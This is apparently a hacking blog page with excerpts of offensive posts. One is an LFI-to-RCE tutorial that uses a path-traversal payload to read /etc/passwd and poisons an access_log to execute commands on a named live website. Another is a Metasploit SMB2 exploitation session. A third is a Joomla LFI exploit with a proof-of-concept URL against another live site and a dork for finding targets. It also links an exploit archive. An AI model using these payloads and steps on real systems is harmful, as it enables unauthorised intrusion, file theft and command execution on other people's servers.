Skip to main content

Research Blog

Search This Blog

LFI to RCE via access_log injection

on February 21, 2021 tutorial

Get link
Facebook
X
Pinterest
Email
Other Apps

#PacketStorm New #Exploits For June, 2014

on July 02, 2014

Get link
Facebook
X
Pinterest
Email
Other Apps

This archive contains all of the 127 exploits added to Packet Storm in June, 2014.

Download HERE

MD5 | 869f07375f60d0827ec31e0a08387e7e

mixed vulnerabilities

Get link
Facebook
X
Pinterest
Email
Other Apps

Comments

Popular Posts

LFI to RCE via access_log injection

Hi guys Just wanna share a trick from Local File Inclusion/File Path Traversal to Remote Code Execution by injecting the access_log. I have a target http://proqualitycontrol.com/index.php?page=aboutus and it’s vulnerable to LFI/FPT. It’s a live website. Inject the target with ../../../../../../../../../../../../../../../etc/passwd%00 payload. Now change with /etc/httpd/conf/httpd.conf . Not all httpd.conf path is here. To find the access_log location you need to find httpd.conf first. View source (ctrl+u) for a better view of their httpd.conf. Open the file called access_log. In this case /home/pro_99/proqualitycontrol.com/access_log . My friend @paceander coded this perl script to inject the access_log. You can download it here Run it “ perl log.pl <target> 80 ” Open the access_log again and search for v0pcr3w . If the word is there then we’ve successfully injected the access_log. Now run this line to execute command on server /home/pro_99/proqualitycontrol.com/access_lo...

Exploiting Vista SP1 with SMB2 [metasploit]

[o] Exploiting Vista SP1 with SMB2 [metasploit] [o] Microsoft SRV2.SYS SMB Negotiate ProcessID Function Table Dereference root@evilc0de:~# msfconsole ------------ \ ,__, \ (oo)____ (__) )\ ||--|| * =[ metasploit v3.4.2-dev [core:3.4 api:1.0] + -- --=[ 590 exploits - 302 auxiliary + -- --=[ 224 payloads - 27 encoders - 8 nops =[ svn r10414 updated today (2010.09.21) msf > use scanner/smb/smb_version msf auxiliary(smb_version) > show options Module options: Name Current Setting Required Description ---- --------------- -------- ----------- RHOSTS yes The target address range or CIDR identifier SMBDomain WORKGROUP no The Windows domain to use for authentication SMBPass no The password for the specified username SMBUser no The username to authenticate as THREADS 1 yes T...

Joomla Component redTWITTER LFI Vuln

[o] Joomla Component redTWITTER Local File Inclusion Vulnerability Software : com_redtwitter version 1.0.x Vendor : http://redcomponent.com/ Author : NoGe Contact : noge[dot]code[at]gmail[dot]com Blog : http://evilc0de.blogspot.com/ [o] Exploit http://localhost/[path]/index.php?option=com_redtwitter&view=[LFI] [o] PoC http://www.measham.org.uk/index.php?option=com_redtwitter&view=../../../../../../../../../../../../../../../etc/passwd [o] Dork inurl:"com_redtwitter"

Powered by Blogger

pacenoge